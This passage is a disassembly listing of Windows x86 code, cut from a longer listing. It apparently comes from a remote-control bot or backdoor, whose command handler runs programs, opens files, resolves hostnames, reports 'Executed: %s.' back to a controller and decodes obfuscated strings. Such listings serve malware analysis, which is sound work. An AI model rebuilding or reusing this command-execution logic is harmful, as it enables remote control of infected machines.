		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049F7
		test	ebp, ebp
		jle	short loc_404A08


loc_4049E8:				; CODE XREF: sub_404690+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_4049E8
		jmp	short loc_404A08
; ---------------------------------------------------------------------------


loc_4049F7:				; CODE XREF: sub_404690+352j
		test	ebp, ebp
		jle	short loc_404A08


loc_4049FB:				; CODE XREF: sub_404690+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_40144C
		dec	ebp
		jnz	short loc_4049FB


loc_404A08:				; CODE XREF: sub_404690+356j
					; sub_404690+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A1E:				; CODE XREF: sub_404690+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404A35
		call	sub_401F87
		jmp	short loc_404A3A
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: sub_404690+39Cj
		call	sub_40144C


loc_404A3A:				; CODE XREF: sub_404690+162j
					; sub_404690+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B60	proc near		; CODE XREF: sub_401F87j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_44AC62
		call	sub_4014DD
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404BA6
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BA6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: sub_404B60+1Dj
					; sub_404B60+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jnz	short loc_404BE6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404BE6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_401479
		cmp	byte ptr [eax],	23h
		jz	short loc_404BE6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_404B60+64j
					; sub_404B60+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_40144C
		pop	edi
		pop	esi
		retn	4
sub_404B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C30	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401B04
		test	eax, eax
		jz	short loc_404C5A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C5A:				; CODE XREF: sub_404C30+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404C30	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_40186Bj
		push	esi
		push	edi
		mov	edi, dword_5118AC
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D8099
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C9F
		mov	ecx, offset byte_4D8075
		call	sub_401D20
		call	edi
		mov	dword_4D8099, eax


loc_404C9F:				; CODE XREF: sub_404C70+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404CC0	proc near		; CODE XREF: sub_4017D0j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404CC0
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404D34
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404D34:				; CODE XREF: sub_404CC0+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404EC5
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C71
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2820000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FDC
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014DD
		push	eax
		push	0
		call	near ptr 28104BCh
		nop
		test	eax, eax
		jnz	short loc_404E99
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404E99:				; CODE XREF: sub_404CC0+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404EC5:				; CODE XREF: sub_404CC0+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F74
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 3
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F60
		mov	al, byte_449896
		test	al, al
		jz	short loc_404F30
		push	offset dword_449834
		mov	ecx, offset dword_44AD70
		call	sub_401451


loc_404F30:				; CODE XREF: sub_404CC0+25Fj
		mov	al, byte_4498DF
		test	al, al
		jz	short loc_404F48
		push	offset byte_44990F
		mov	ecx, offset dword_44AD70
		call	sub_401951


loc_404F48:				; CODE XREF: sub_404CC0+277j
		mov	ecx, offset dword_44AD70
		call	sub_401E79
		mov	byte_4D808C, 0
		mov	byte_4E8E44, 0


loc_404F60:				; CODE XREF: sub_404CC0+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_404F74:				; CODE XREF: sub_404CC0+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404FBC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		mov	ecx, offset word_4E8E5A
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_404FBC:				; CODE XREF: sub_404CC0+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405076
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019C4
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1D4h+var_164]
		push	9
		push	ecx
		mov	[esp+1DCh+var_4], 4
		call	sub_4019C4
		add	esp, 64h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405076:				; CODE XREF: sub_404CC0+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405194
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A9B
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017EE
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_402112
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40202C
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405194:				; CODE XREF: sub_404CC0+3CBj
		lea	ecx, [edi+0D99h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4051B7
		mov	byte_4D808C, al
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4051B7:				; CODE XREF: sub_404CC0+4E9j
		lea	ecx, [edi+0D3Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40547E
		lea	ecx, [esp+178h+var_11C]
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_405241
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_4056B8
; ---------------------------------------------------------------------------


loc_405241:				; CODE XREF: sub_404CC0+56Bj
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB2BF4h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_405314
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		call	near ptr 71ABE479h
		nop
		mov	edi, eax
		test	edi, edi
		jz	loc_4053F5
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40545B
; ---------------------------------------------------------------------------


loc_405314:				; CODE XREF: sub_404CC0+5C7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 71AB4FD4h
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053F5
		mov	ecx, [edi+0Ch]
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016B8
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		call	near ptr 71AB3F41h
		nop
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_4053F5:				; CODE XREF: sub_404CC0+5E0j
					; sub_404CC0+691j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017EE
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40545B:				; CODE XREF: sub_404CC0+64Fj
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40547E:				; CODE XREF: sub_404CC0+50Cj
		lea	ecx, [edi+0BCDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40556C
		lea	ecx, [edi+9]
		call	sub_4017EE
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402040
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+190h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+198h+var_4], ebx
		call	sub_4019C4
		add	esp, 20h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_40556C:				; CODE XREF: sub_404CC0+7D3j
		lea	ecx, [edi+0E23h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056DA
		push	offset asc_444600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013E3
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013E3
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013E3
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_14C]
		call	sub_40142E
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013E3
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_401479
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015E1
		lea	ecx, [esp+178h+var_164]
		call	sub_40142E
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017EE
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C293C7h
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_405674
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405692
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_404CC0+997j
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405692:				; CODE XREF: sub_404CC0+9B2j
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_4056B8:				; CODE XREF: sub_404CC0+1D4j
					; sub_404CC0+2AFj ...
		call	sub_401226


loc_4056BD:				; CODE XREF: sub_404CC0+91Cj
					; sub_404CC0+C6Aj
		xor	al, al


loc_4056BF:				; CODE XREF: sub_404CC0+6Fj
					; sub_404CC0+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_4056DA:				; CODE XREF: sub_404CC0+8C1j
		lea	ecx, [edi+0C85h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405750
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F5A
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405750:				; CODE XREF: sub_404CC0+A2Fj
		lea	ecx, [edi+0CE1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405841
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E8E45
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E8E45
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D8075
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405841:				; CODE XREF: sub_404CC0+AA5j
		lea	ecx, [edi+0CB3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405915
		push	offset asc_444600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_4058A9
		mov	ebx, 7


loc_4058A9:				; CODE XREF: sub_404CC0+BE2j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40195B
		push	offset byte_448F30
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058FE
		lea	ecx, [esi+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4058FE:				; CODE XREF: sub_404CC0+C11j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_4056BF
; ---------------------------------------------------------------------------


loc_405915:				; CODE XREF: sub_404CC0+B96j
		lea	ecx, [edi+0DF5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4056BD
		lea	ecx, [esp+178h+var_100]
		call	sub_40142E
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019C4
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A9B
